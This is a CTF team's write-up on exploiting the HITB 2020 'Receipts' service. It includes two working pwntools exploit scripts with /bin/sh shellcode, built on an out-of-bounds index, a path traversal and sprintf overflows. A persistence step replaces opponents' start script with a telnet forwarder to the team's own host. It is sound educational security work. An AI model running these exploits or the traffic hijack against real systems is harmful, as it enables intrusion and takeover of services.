Saarsec

saarsec

Schwenk and pwn

HITB Lockdown CTF 2020 - Receipts

Service Overview

The service was a statically linked 32-bit C binary. The service consisted of the binary itself, a script (run.sh) to start it, a folder (data) to store the service data and a Docker environment. One thing to note here is that all these files were mounted into the Docker as read/write The binary had very few protections enabled and had multiple RWX-segments. Upon connecting to the service, you were prompted to either register a new user or login with an existing one. After the login, you could either append a new receipt to an index or print the receipt stored at an index. When the connection is closed, all added receipts were stored on disk in a folder named after the user. The filenames were decimal numbers representing the index of the receipt with the filecontent being the receipt itself.

$ cat data/user1/00
receipt-data-1

Exploit 1: Missing Bound Check on Appending

The stored receipts were not only stored on disk but they also existed in memory in an array (receipt_arr) consisting of struct receipt_element. The array had place for 64 receipts.

struct receipt_element {
  int32_t size;
  char* buf_ptr;
  int32_t entry_no;
}

Upon appending a new receipt at index x, it was also added to the array at index x. Even though, the index was checked to be smaller or equal to 63, it was never checked whether the index is greater than 0. This allowed an out-of-bounds write. To better understand the write-primitive we have to take a look at binary.

if ( idx <= 63 ) {
  puts("Appending new receipt. Enter size of data:");
  fgets(&sz, 128, stdin);
  size = read_num((int)&sz, 0, 10);
  element = &receipt_arr[idx];
  element->size = size;
  ptr = malloc(size);
  element->entry_no = idx;
  element->buf_ptr = (char*) ptr;
  if (ptr) {
    puts("Enter data:");
    fgets(element->buf_ptr, size, stdin);
    puts("Receipt added");
  }
}

This means that we can create a pointer and let it point to user controllable heap data. As the heap was mapped as RWX, we first tried overwriting the __malloc_hook and __free_hook. Unfortunately, we could not overwrite these hooks due to struct receipt_element being 12 bytes which means that we can only overwrite pointers correctly aligned to these 12 bytes. Just as we were searching for other potential targets the team The Duck started exploiting the service. We took a look at their exploit and saw that they were exploiting the same bug and using the offset -212. The offset -212 was pointing to __libc_IO_vtables and overwrites a pointer which was triggered when exiting the binary. Hence, we used the same offset.

Exploit Script

def exploit(target):
    r = remote(target, 1742)
    
    r.recvuntil("passwod")

    # register new user
    r.sendline("register")
    user = randomstring(4)+"-"+randomstring(4)+"-"+randomstring(4)
    pwd = randomstring(8)
    r.recvuntil("Enter new login")
    r.sendline(user)
    r.recvuntil("Enter password")
    r.sendline(pwd)

    # append receipt on index -212 with shellcode in it
    r.recvuntil(":")
    r.sendline("append")
    r.recvuntil(":")
    r.sendline("-212")
    shellcode = b"1\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"
    assert b"\n" not in shellcode
    r.recvuntil(":")
    r.sendline(len(shellcode))

    r.recvuntil(":")
    r.sendline(shellcode)
    r.recvuntil("Receipt added")
    
    # exit will trigger shellcode
    r.sendline("exit")

    r.sendline("id")

Exploit 2: Path-traversal; Out-Of-Bounds Access; Buffer Overflow

We thought most teams will likely fix the previous exploit by adding the missing bound check or checking if a user tries to append a file starting with a minus. Hence, we chained a few other bugs together to build a second exploit.

When trying to register a user, the service checks whether there exists a file named password in a folder, named after the user, to determine whether a user already exists. The register function looked roughly like this:

int fd;
char buf[128];
char passwd_file[128];

fgets(username, 128, stdin);
sprintf(passwd_file, "data/%s/password", username);
fd = fopen(passwd_file, "r");
if ( fd ) {
  fclose(fd);
  puts("Already exists");
} else {
  sprintf(buf, "data/%s", username);
  mkdir(buf);
  puts("Enter password");
  fgets(buf, 128, stdin);
  fd2 = fopen(passwd_file, "w+");
  fputs(buf, fd2);
  fclose(fd2);
  puts("Registered");
}

There are two overflows in there. In both calls to sprintf. sprintf in both cases writes to a buffer that is 128 bytes in size, but the content exceeds this length as the username itself can be 128 bytes and the strings ‘data/’ and ‘/password’ are added. If we now register a username with a name that is 128 chars long, we first overflow into the canary in the first call to sprintf and afterwards overflow from buf to passwd_file with 5 bytes (length of ‘/data’). This results in a call to the second fopen with the last 5 bytes of our username as filename. Hence, we can abuse this to create a file with a name of our choice aslong as the filename is atmost 5 bytes. Additionally, we can control the first 128 bytes of this file. Also note that this file will be created in the service directory root as there is no data/ prefix after the overflow.

As there are no further checks for characters contained in our username we can specify ../ as a username to create a user in the service root directory. When we chain these two vulnerabilites together we can create a user in the service root directory and abuse the sprintf overflows to create a file named -212 which contains shellcode like in the previous exploit.

All that is left now is to find a way to trigger this shellcode again. Luckily, there is one. After a user logs in, the binary iterates over all files in the user directory, tries interpret the filename as a number and loads their content to the offset in the receipt_arr. This looks roughly like this:

int fd = fopen(fname, "r");
if ( fd ) {
  fseek(fd, 0, SEEK_END);
  int size = ftell(fd);
  fseek(fd, 0, 0);
  struct receipt_element* element = &receipt_arr[entry_no];
  element->entry_no = entry_no;
  element->size = size;
  char* buf = malloc(size);
  receipt_arr[entry_no].buf_ptr = buf;
  fread(buf, 1u, size, fd);
  fclose(fd);
}

This means that all what we have to do triggering this functionality by logging in and we can once again access out-of-bounds of receipt_arr to trigger our shellcode.

Exploit Script

We first create a file named ‘-212’ in the service root folder, then we register a user named ../ and finally login as that user to trigger our shellcode.

def exploit(target):
    r = remote(target, 1742)
    
    r.recvuntil("passwod")
    
    # abuse sprintf overflow to create file "-212" in service root
    r.sendline("register")
    r.recvuntil("Enter new login")

    shellcode = b"1\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"
    r.sendline(randomstring(20).encode() + b"A"*103 + b"-212" + shellcode)


    # register user "../"
    r = remote(target, 1742)
    r.recvuntil("passwod")
    r.sendline("register")
    user = "../"
    pwd = randomstring(8)
    r.recvuntil("Enter new login")
    r.sendline(user)
    r.recvuntil("Enter password")
    r.sendline(pwd)
    r.recvuntil("Commands:")
    r.sendline("exit")


    # login as user "../"
    r = remote(target, 1742)
    r.recvuntil("passwod")

    r.sendline("login")
    r.recvuntil("Enter your login")
    r.sendline(user)
    r.recvuntil("Enter password")
    r.sendline(pwd)
    
    # shellcode is loaded now 
    r.recvuntil("Commands:")
    
    # exit triggers our shellcode
    r.sendline("exit")

    cmd = "id"
    r.sendline(cmd)

Persistence

The files were inside the Docker were mounted writable and we wanted to make our RCE more persistent. One idea that came to our mind was that we could just forward the traffic of other teams to our own and already patched service. This way we could prevent other teams from further stealing flags and the gameserver would just submit their flags directly to our server, hence we could just grab and submit them. For that, we overwrote the service start script (run.sh) and later also the service binary itself with a script that acts as a telnet client to our own service instance:

#!/bin/bash
python -c 'from telnetlib import Telnet; Telnet("10.60.20.2", 1742).interact()'

Patching

As the service had a quite simple logic, we decided to just rewrite the service ourselves in Python. This turned out to be really successful, as we lost 6% SLA points but not one single flag.

Conclusion

Our exploits worked really well but we had one big snafu. As our second exploit requires control over the username ../ this was a one-shot exploit. Unfortunately, we recognized this after throwing the exploit around. If you look closely, you can see that our second exploit generates random passwords for the ../ user and never stores them. The result was that we locked ourselves out of all ../ users that we created and could not use them for further exploitation. All in all, this was a really fun service with cool post-exploitation possibilities.